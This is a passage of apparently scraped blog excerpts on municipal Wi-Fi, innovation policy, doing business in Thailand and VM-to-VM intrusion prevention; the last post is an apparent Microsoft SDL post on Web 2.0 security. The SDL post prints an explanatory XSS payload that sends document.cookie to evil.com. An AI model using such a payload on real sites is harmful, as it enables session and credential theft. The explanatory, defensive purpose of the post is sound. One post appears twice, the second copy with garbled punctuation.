One source at the Knight Center for Digital Excellence notes, "The new network owners are supposed to have a much more sustainable business model." Supposed to. Later, "Network Acquisition Company, which acquired the network, hasn't talked publicly about the details of its new plan, but it has hinted that its strategy will differ from EarthLink's." Hasn't talked publicly. Then, "[NAC and Tropos] spokespeople said the companies would talk more about the network later this month when details of the new business plan are ready." Huh.

Reardon explains digital divide issues and looks into what Wireless Philadelphia has been up to, although doesn't note that delays in EarthLink's deployment and other factors have led to just a few hundred individuals that have been assisted by the non-profit; numbers may have changed, but that was as of a few months ago. Still, Wireless Philadelphia has apparently diversified its funding sources--Reardon cites 30 now.

I think we're still coming off the doldrums of August.

“I am generally not an alarmist, but I have become more and more concerned about the state of our country and its innovation,” she said last week, explaining why she wrote her book, “Closing the Innovation Gap,” which arrives in bookstores Tuesday. “We have a national innovation deficit.”

Ms. Estrin’s book is the latest call to action during the last several years by scientists, technologists and political leaders worried about the country’s future competitiveness in technology.

In 2005, the National Academies published “Rising Above the Gathering Storm,” a report requested by Congress, which found that federal financing of research in the physical sciences was 45 percent less in 2004 than in 1976 and that 93 percent of students in grades five through eight learn science from teachers who do not hold degrees or certifications in the topics.

...

“There is a remarkable telescoping in of vision and an unwillingness to make long-term bets,” said Vinton G. Cerf, the chief Internet evangelist at Google.

Geez, its like no one ever read "The Only Sustainable Edge" or something...

The conversation went well, I thought, until I received a call from another person in the company who proceeded to tell me how to do business in Thailand and how to determine the target market, and how to set up sales. Now mind you, I had already explained that there would be no immediate sales opportunities for a few years, realistically, and that this was a long term initiative, designed around a solid education and training program - build infrastructure first. From a strong education and training program, the market would become clear.

This is such a simple win-win-win situation, but companies do not seem to understand it. They just want to exploit every contact, event situation, for a quarterly sell. Why not take the long view as well, since it does not cost you any money?

The guy on the other end of the phone would have nothing to do with our way of thinking in Thailand. He seemed to be pushing to insure pre-sales contact immediately. Instead of supporting us, he wanted to manage us from overseas!! We asked for support to build their brand, what they seemed to offer was management by proxy!

Folks, this will not work in Thailand (or most Asia countries).

If you want to tap into the fast growing Asia market, leave behind your aggressive New York or Silicon Valley sales guns and forceful presale tactics, where you are content to find an opening, exploit it, make a sale, and report the sale on your quarterly report. You can get aggressive when you have built a sustainable infrastructure. The same is true in Japan, not only Thailand.

In Asia, do as the Asians. In Rome, do as the Romans. In Thailand, do as the Thais. In Japan, do as the Japanese.

It is easy to make money in Thailand (and other Asia countries) if you follow their way of business. Educate, teach, build a workforce, build a sustainable infrastructure on the ground, and then sell, sell, sell.

Granted, many companies do not have resources to do this overseas. In that case, enable your partners to do it and let them build the business; don’t manage them, support them.

Montego Networks has been flying under radar for the past year and this week increased its elevation just enough to be seen on the virtualization industries radar detector. Montego Network’s announcement of securing virtual network communications between VM’s has everyone buzzing but what has caught most people’s attention is Montego Network’s technology that enables 3^rd party security vendors to do the same thing (VM to VM). Now, I’m the CTO of Montego Networks, so my comments here are a bit biased but also first hand. So, when I tell you that it’s been a great announcement, I truelly feel it has. Everyone I have spoken with in the analyst and press community thus far has embraced the idea of security vendors working together to provide a solid solution vs. every vendor trying to be all things to everybody.

So, what does this really mean and how does it work?

Let’s say you have VM1 (Virtual Machine) and VM2 (Virtual Machine) and they need to be able to transfer data between each other but only once or twice a week. This means you can’t have them 100% isolated. Because you have a communication need between them, it probably makes sense to only open up the channels (TCP/UDP Ports) that they need to communicate on vs. opening up all channels. This helps mitigate exposure. So, let’s say you open up port 6667 and only port 6667 for them to communicate with each other. Well, this is now a bit more secure than the other option of leaving all ports open but let’s say this is a very very critical server and you want deep packet inspection done on all of its traffic. The reason you want to do this is because there is the potential that worms and BOTnet communication could occur over this port 6667 but the only way to determine that is to do deep packet inspection.  I am using port 6667 as the example because I spoke with someone that had a real live case where one of their Linux VM's got infected with this BOTnet:  http://www.energymech.net/ on port 6667

Now, I could put some sort of virtual IPS product inline and look at Physical to Virtual communication for all of the VM’s (VM1, VM2, VM3, VM4, etc.) but I don’t care to take that kind of performance hit and I also already have a physical IPS handling Physical to Virtual. What I really needs is IPS between the VM’s which I haven’t been able to find from any vendor yet and even if I did find such a solution on the market I don’t care to take the performance hit of doing IPS between ALL VM’s.

So, now that you understand the challenge, how can Montego help and what’s this HyperVSecurity thing they talked about in their press release that allows other vendors to interoperate with them. Well, with Montego’s Policy Based Switching technology you, the administrator can control what types of VM to VM traffic you would like to have inspected by a 3^rd party security solution. I would simply set up a policy that says VM1 to VM2 on port 6667 will have its traffic sent to a StillSecure virtual IPS product and once a week when that traffic starts to flow it will be sent over to the IPS product for further inspection. Or if traffic starts to flow outside that once a week norm, it will still be sent for inspection. This way if some attacker tries to get in on that port he will have to make sure he can get past the IPS that now is able to VM to VM IPS.

Pretty cool huh? I think so.

 Now, back to Montego coming out of stealth mode…

You’ll start to hear and see a lot more innovation coming out of Montego Networks now that we’ve popped slightly above radar and the industry knows we are here but is scrambling trying to figure out what exactly we do, how sustainable will this new startup be and if we really have what we say we have. I’m certain competing companies will throw FUD and make all sorts of comments about what we do, how it performs, etc. etc. and all I can say is to just keep an eye on the after burners because we are starting to get lift off.

-JP

Montego Networks has been flying under radar for the past year and this week increased its elevation just enough to be seen on the virtualization industries radar detector. Montego Network???s announcement of securing virtual network communications between VM???s has everyone buzzing but what has caught most people???s attention is Montego Network???s technology that enables 3^rd party security vendors to do the same thing (VM to VM). Now, I???m the CTO of Montego Networks, so my comments here are a bit biased but also first hand. So, when I tell you that it???s been a great announcement, I truelly feel it has. Everyone I have spoken with in the analyst and press community thus far has embraced the idea of security vendors working together to provide a solid solution vs. every vendor trying to be all things to everybody.

So, what does this really mean and how does it work?

Let???s say you have VM1 (Virtual Machine) and VM2 (Virtual Machine) and they need to be able to transfer data between each other but only once or twice a week. This means you can???t have them 100% isolated. Because you have a communication need between them, it probably makes sense to only open up the channels (TCP/UDP Ports) that they need to communicate on vs. opening up all channels. This helps mitigate exposure. So, let???s say you open up port 6667 and only port 6667 for them to communicate with each other. Well, this is now a bit more secure than the other option of leaving all ports open but let???s say this is a very very critical server and you want deep packet inspection done on all of its traffic. The reason you want to do this is because there is the potential that worms and BOTnet communication could occur over this port 6667 but the only way to determine that is to do deep packet inspection.  I am using port 6667 as the example because I spoke with someone that had a real live case where one of their Linux VM's got infected with this BOTnet:  http://www.energymech.net/ on port 6667

Now, I could put some sort of virtual IPS product inline and look at Physical to Virtual communication for all of the VM???s (VM1, VM2, VM3, VM4, etc.) but I don???t care to take that kind of performance hit and I also already have a physical IPS handling Physical to Virtual. What I really needs is IPS between the VM???s which I haven???t been able to find from any vendor yet and even if I did find such a solution on the market I don???t care to take the performance hit of doing IPS between ALL VM???s.

So, now that you understand the challenge, how can Montego help and what???s this HyperVSecurity thing they talked about in their press release that allows other vendors to interoperate with them. Well, with Montego???s Policy Based Switching technology you, the administrator can control what types of VM to VM traffic you would like to have inspected by a 3^rd party security solution. I would simply set up a policy that says VM1 to VM2 on port 6667 will have its traffic sent to a StillSecure virtual IPS product and once a week when that traffic starts to flow it will be sent over to the IPS product for further inspection. Or if traffic starts to flow outside that once a week norm, it will still be sent for inspection. This way if some attacker tries to get in on that port he will have to make sure he can get past the IPS that now is able to VM to VM IPS.

Pretty cool huh? I think so.

 Now, back to Montego coming out of stealth mode???

You???ll start to hear and see a lot more innovation coming out of Montego Networks now that we???ve popped slightly above radar and the industry knows we are here but is scrambling trying to figure out what exactly we do, how sustainable will this new startup be and if we really have what we say we have. I???m certain competing companies will throw FUD and make all sorts of comments about what we do, how it performs, etc. etc. and all I can say is to just keep an eye on the after burners because we are starting to get lift off.

-JP

"However, compliance is not a technology problem — it’s a business problem which needs a business solution. By instituting sustainable business processes that effectively leverage people and technology, enterprises will become not just more secure but also compliant with current and emerging regulations."

Hi everyone, Bryan Sullivan here. 

Unless you’ve been living in an ice cave on the polar cap for the last month, you’ve heard about Microsoft’s proposed acquisition of Yahoo. George Hulme of InformationWeek wrote a very insightful column about the proposed acquisition and what it would mean for Yahoo’s Web 2.0 properties. My favorite quote from this column (probably my favorite quote from anyone’s column so far this year): “…there’s still much to do in the [software] industry to reach a level of truly sustainable computing. This is perhaps especially true in the nascent area of Web 2.0 development. Let’s hope Microsoft brings its Trustworthy Computing Initiative, or more precisely its Security Development Lifecycle to Yahoo, should the $45 billion deal come through.” That’s pretty high praise for the SDL, but what exactly does the SDL have to say about Web 2.0 development? To answer this question, let’s take a look at a couple of security issues that affect Web 2.0 applications and then dive into the corresponding SDL requirements.

Many Web 2.0 applications allow their end users to build and contribute to the application. Think about social networking sites like Facebook, or wikis like Wikipedia. The content on sites like these comes directly from the users themselves. (Remember that you were Time Magazine’s Person of the Year in 2006 for this very reason!) While this is very empowering for users, it does beg the question: If users can add their own content to a web site, what’s to prevent them from adding malicious content? Consider what would happen if Evil Eve adds the following HTML to a wiki entry:

<img src=“http://www.evil.com/eve?“ + document.cookie/>

If the wiki accepts this content from Eve, then anyone who looks at the wiki entry will have their browser cookie “stolen” and sent to Eve at evil.com. The cookie could potentially contain login credentials or other sensitive information, allowing Eve to impersonate her victim and essentially commit a form of identity theft.

The attack I’ve shown here is known as a persistent Cross-Site Scripting (XSS) attack, and is the most dangerous form of XSS since it doesn’t require any social engineering like reflective and DOM-based XSS attacks do. The victim doesn’t have to do anything unusual – he just has to browse to an infected page, maybe even one he’s been to hundreds of times in the past. And in all likelihood, he’ll never even know he was a victim. The Samy worm which infected MySpace in late 2005 exploited a persistent XSS vulnerability to silently spread through its victims’ profile pages. Within less than a day after its release, Samy had spread to over one million MySpace users, forcing MySpace to completely shut down its site while they diagnosed and fixed the vulnerability.

 (As a side note, I’d like to point out that if the developers of the hypothetical wiki in the earlier example had used the HttpOnly attribute for their site cookies, Evil Eve would not have been able to steal those cookies. However, HttpOnly is just a defense-in-depth measure and not a complete solution for the inherent problem of end users being able to write malicious code into the web site.)

Web mashups are another popular component of Web 2.0. JavaScript’s Same Origin Policy prevents web developers from writing client-based mashups (that is, mashups that don’t use a server proxy to request data from the individual sites being “mashed” together) in straight DHTML. Some Rich Internet Application (RIA) frameworks, notably Adobe’s Flash and Microsoft’s Silverlight, offer mechanisms to bypass the Same Origin Policy. For Flash, this mechanism is an XML file (crossdomain.xml) hosted on the domain root that lists all the external domains that should be granted access to the Flash movie. For example, if you host a Flash movie at www.mysite.com, and want to allow access from www.friendlysite.com, you would create a file www.mysite.com/crossdomain.xml with content as follows:

<cross-domain-policy>

   <allow-access-from domain=”www.friendlysite.com”/>

</cross-domain-policy>

So far, so good. However, crossdomain.xml allows not just specific domain names in the allow-access-from element (ie “www.friendlysite.com”) but also wildcards (“*.friendlysite.com”). In fact, it will even allow wildcards that break the two-dots rule like “*.com” or even just “*”. By using highly permissive access lists like this, a developer is essentially letting anyone on the internet manipulate his objects and data. In an attack very reminiscent of the Samy worm, Chris Shiflett exploited an allow-access-from-* entry in Flickr’s crossdomain.xml file that caused any visitor to Chris’s web site to automatically add Chris to their Flickr friends list. While this may not be the scariest attack you’ve ever heard of, imagine what might happen if a truly malicious user discovers the same vulnerability in the fund transfer functionality of a bank’s web site, or the security trading functionality of a brokerage firm’s web site.

So, what does the SDL have to say about these issues? In terms of XSS prevention, the SDL offers a lot of guidance. The SDL requires the use of both input validation (making sure that user input conforms to a known good format – in the case of the wiki entry, to deny HTML and script content) and output encoding (making sure that any active content that gets past the input validation routines is rendered as harmless text and not executed). Internally, we also mandate the use of code analysis tools to find XSS vulnerabilities that might otherwise slip through the cracks. This is great advice for anyone developing web applications, whether they’re Web 2.0 or 1.0.

As for cross-domain policy files, the SDL provides several recommendations. First is a simple attack surface reduction: if a site is not meant to be accessed by foreign domains, then any cross-domain policy files should be removed from the site. Second, if an application offers cross-domain access and also has functionality available only to authenticated users, then this site must not contain overly permissive access lists like “*” or “*.com”. It’s best to list specific domains wherever possible, or at least follow the same two-dots rule that HTTP cookies have to follow for their domain specifications. This helps to limit the sites that can perform request forgery attacks like the Flickr attack mentioned earlier. If no applications anywhere on the site offer special functionality for authenticated users, then the SDL does permit the site to have a broad-reaching cross-domain access list. However, this does require constant oversight to ensure that no authenticated applications are added to the site at a later time. In my opinion, it’s safer just to lock down the list to exactly the sites that are necessary and no more.

Regardless of what happens between Microsoft and Yahoo, I agree with George that adoption of the SDL would benefit Yahoo’s Web 2.0 applications. In fact, I’ll take it a step further and state that adoption of the SDL would benefit anyone’s Web 2.0 applications. In my next SDL blog post, I’ll be addressing the trickiest aspect of implementing the SDL for Web 2.0: developing the “perpetual beta”.